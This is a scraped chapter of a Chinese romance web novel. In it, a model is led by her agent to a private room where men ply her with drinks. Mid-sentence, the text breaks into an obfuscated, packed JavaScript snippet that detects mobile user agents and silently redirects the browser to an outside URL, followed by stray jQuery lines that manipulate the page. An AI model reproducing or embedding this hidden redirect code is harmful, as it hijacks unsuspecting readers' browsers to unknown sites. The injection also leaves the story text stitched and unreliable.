5. 柠檬丹麦酥

作品:《他不禁撩

    然而事与愿违,之后连着好几天,时沂都没有再出现在绮梦坊烦他。


    时沂在酒店待的第三天才想起来,陆绍麟给她推荐的那部电影。


    不过她并没有直接搜索电影,而是在百度上查了一遍大致讲解内容,页面跳转加载成功。


    她立马注意到其中一行字——


    【该片讲述了三男一女之间纠缠不清的情欲故事。】


    时沂:“……”


    一阵无语过后,她又开始炸了,自言自语骂道:“这男的神经病吧!!!”


    气还没消,岑欣的电话打来。


    时沂接听。


    “时姐,你现在在酒店吗?我过来找你。”


    “好。”


    时沂才刚应下,外边就传来敲门声。


    她走过去打开门,入眼即是岑欣笑得傻呵呵的那张小脸。


    “你都已经到了还给我打电话?”


    岑欣拉着时沂的手晃悠,“哎呀,这不是得有礼貌嘛!”


    两人进屋之后,岑欣立马说了自己这次过来的目的。


    一家服装公司冬季时装秀刚好缺模特,星越说是把时沂简历推到公司董事层,然后对方公司看上了,至于这次机会能不能拿下,还得看今晚的应酬面试。


    时沂好像听到了天大的玩笑:“不是吧?车子和经纪人都给我撤走了,这会儿又给我接活儿干了?”


    岑欣忙不迭点头:“对啊,所以我们今晚要去赴约吗?”


    “去啊,退圈之前最后一次出镜露面的机会,为什么不去?”


    时沂上下打量岑欣,发现今天就她一个人来,公司那边肯定没给她安排造型和妆造。


    “你稍等会儿,我收拾收拾。”


    说完,她开始化妆,岑欣辅助她。


    不到一个小时,时沂就整理好了,下楼的时候,意外看到公司的车来接。


    更让人意外的是,副驾上坐着的,正好是前阵子开始把她丢下,不管不顾的前经纪人赵姐。


    见到她来,赵姐淡淡开口:“来了。”


    依旧那副女精英职场人的气质。


    时沂颔首,算是打招呼了。


    两人在后座入坐,时沂一上车,眼睛一直是看向窗外边的。


    已经七点钟,临近冬天,天黑的也特别快。


    窗外风景呼啸而过,光影匆匆略过,树影斑驳,交叠落在车窗上她若隐若现的侧脸倒影上。


    模特这个行业水特别深。


    上不了国内国际的大舞台,家里没有背景有力支撑的,那些寻常的走秀,很多都是给资本家挑女人做的一场秀。


    时沂刚入行的时候,在一众新人当中外貌和身材都很出众。在她最能抓住资源往上爬的年纪,她非要走一条不一样的路。


    绝大多时候都只拍各种杂志封面。


    就算要走秀,也很少参加这种小公司的面试。


    刚入行那会儿时间精力都在杂志上,后来新媒体不断冲击旧的媒体机构,很多杂志社都办不下去,她才在赵姐的苦口婆心下,听从公司安排。


    不过那时候她已经在圈内站稳脚跟,后来有了名气,都是对方公司主动邀约,别谈什么面试,压根没有。


    就算需要,也是赵姐出面。


    虽然这次赵姐也跟着,但她有种预感,今晚还是得亲自争取机会。


    如果顺利拿下,估计也是她退圈之前最后一次出镜了。


    车子偶然路过绮梦坊,时沂眼睛一亮,看着紧闭的大门,疑惑地喃喃道:“他今天怎么不开店啊?”


    听到她的声音,岑欣歪着脑袋朝她这边看过来,车子已经驰过,她只看到窗外的一排树。


    “时姐,你在说什么啊?”


    赵姐为人敏感,身子看似不动,视线已经透过车内镜落在时沂身上。


    时沂忽地回过神,瞧见赵姐渗人的眼神,默默摆出一张正经脸,冲岑欣笑:“没什么。”


    有赵姐在,时沂不能光明正大地和岑欣畅所欲言,觉得车里的环境压抑得快让她憋不住。


    她实在受不了,拿出手机给岑欣发消息:【小欣,我感觉我的病,好像不是单纯的厌食症。】


    岑欣:【什么意思,时姐你的病好了?】


    时沂:【也不算,就是我好像不反感吃贵的东西。】


    岑欣:【?】


    时沂:【这是天生富贵命吗?】


    岑欣:【……】


    对话匆匆草率结束。


    再抬头的时候,她们三已经并排站在一家高档餐厅。


    岑欣和时沂原本并排跟在赵姐的身后,三人维持这样的站位走进去。


    提前打过招呼,前台服务员一看到赵姐来了就笑脸相迎,领着她们三人到高层的一间包厢。


    推开包厢门前,赵姐突然把时沂拉到身边,回头对岑欣说:“今晚没你什么事,你现在可以回去了,时沂我看着。”


    闻言,岑欣看了一眼时沂,得到时沂的示意,她这才转身。


    想到什么,她又停下脚步,回头,“要是需要帮忙给我打电话。”


    她这句话是看着时沂说的,全然没看一眼旁边的赵姐。


    赵慧竹在圈子里算是有头有脸的大人物,如今却被两个不知天高地厚的小姑娘忽视,脸上已经有些挂不住,催促道:“走吧。”


    岑欣走后,两人推门而入。


    进去了才知道,所谓的餐厅高层包厢,压根不是吃饭的那种包厢,更像是KTV和酒吧。


    餐厅名号不过是一个遮羞布。


    浓稠的黑暗如墨般弥漫,似一层厚重的幕布将外界的喧嚣隔绝,沙发隐没在阴影之中,轮廓模糊难辨。


    空气里弥漫着酒气与烟草的味道,混合着一丝暧昧的气息。


    时沂一进去就察觉到氛围不对。


    没办法,来都来了,现在突然要走也已经来不及,只能逆来顺受,水来土挡了。


    她习惯性先把陌生的环境全部小心打量一遍。


    包厢里有四张沙发,只有一张是空着的,其余的都坐着人。


    两张刚好在灯光下,分别坐着一男一女,在接吻,时不时会传出一些娇嗔令人脸红的暧昧声。


    一点也不害臊,全然不顾及周围还有人在。


    最角落里,一盏幽微的壁灯散发着微弱光芒,在黑暗中挣扎,却无力驱散那无尽的黑。


    沙发上坐着两个男人。


    四周太黑了,她看不太清,只能勉强根据高大魁梧的身形判断性别,以及注意到那双熠熠有神的眉目。


    一直盯着她看。


    时沂被盯得打了个寒颤,浑身上下散发着冷气。


    该不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830447|158945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会她就是下一个要陪角落里男人的小可怜吧?


    很显然但不是。


    如果公司没有专门给时沂安排妆造和礼服,她一般对自己的外在包装不怎么在意。


    比如今晚,考虑到气温低,她特地穿了周围围着绒毛的长裙,腿、胳膊和锁骨这些部位是一点都没露。


    其实刚刚赵姐一眼就发现,原本打算让她在折返回去换件能显身材的礼服,但是怕她起疑心,于是就作罢了。


    如她所料,时沂一进到包厢里,那些左拥右抱的男人看到她的穿着,脸上立马露出嫌弃之色。


    “吊胃口”三个字就差写在脸上了。


    不过好在时沂那张脸好看,脸上不是浓妆依旧能吊打无数浓妆艳抹的女人。


    时沂混迹多年,自是看出来些许端倪,只是不愿摊明。


    此外,她进来的时候也留心到,最前面的男人确实一开始不怀好意地看着她,随后转头看向角落那边。


    不知道后面的男人给了什么反应,他再转过头来,朝赵姐摇头。


    赵姐秒懂他的意思,带着时沂往空的那张沙发上坐。


    时沂习惯了跟在赵姐身后配合,所以坐下之后一直没有主动开口说话。


    赵姐不愧是金牌经纪人,对于这种应酬已经掌握得如鱼得水,开口妙语连珠,把包厢里的甲方哄得笑声一阵接着一阵。


    熟络的开场白过后,话题还是引到了时沂身上。


    简单草率地把介绍流程走一遍,还是无法避免的喝酒环节。


    一开始赵姐还替她挡了几杯酒,几个人轮流灌,她看起来也有些晃悠,凑在时沂身边。


    “我有点挡不住了,你能喝吗?”


    她一张嘴,时沂就能闻到很浓烈的一股酒味。


    虽说赵姐为人是强势了些,但是不可否认,她带她的这些年,是真的有在全心全意给她打理大大小小的事务。


    哪怕不知道这其中有多少比重是为了自己和公司的利益。


    时沂点头:“能喝。”


    赵慧竹眼里闪过一道精光,很快又消失不见。


    “好,我去趟卫生间。”


    时沂现在心思全在如何应付那些不怀好意的男人上,没把赵姐的话往深处想,轻轻点头。


    赵姐前脚一走,那两个男人面面相视一眼,而后笑得更加让人反胃。


    他们递酒的频率比刚刚加快了不少,两个人轮流,时沂一开始还能笑着接过酒杯。


    到了后边也开始有些难受。


    她想见缝插针插句话,男人怎么会不知道她想拖延时间,总三两句话把她敷衍过去。


    一下子高强度的连续灌酒,时沂本身就有胃病,如今更是难受得不行。


    她强忍着要吐的冲动,一手捂着嘴,另一只手朝他们左右摇。


    她越是这样,越是给那些胡作非为习惯了的人传递一种“她已经不行了”的讯号。


    看男人笑得越来越开心,其中一个男人已经大胆到在她身边坐下。


    时沂下意识起身,想和他拉开距离,又被强行拽着坐下。


    她把头转到一边,把包厢环视一周,发现赵姐还没回来,就连刚刚还在场的两个陪酒的女人,也不见踪影。


    包厢里就她和一群男人。


    心不由传来一阵失重感,猛然咯噔一下。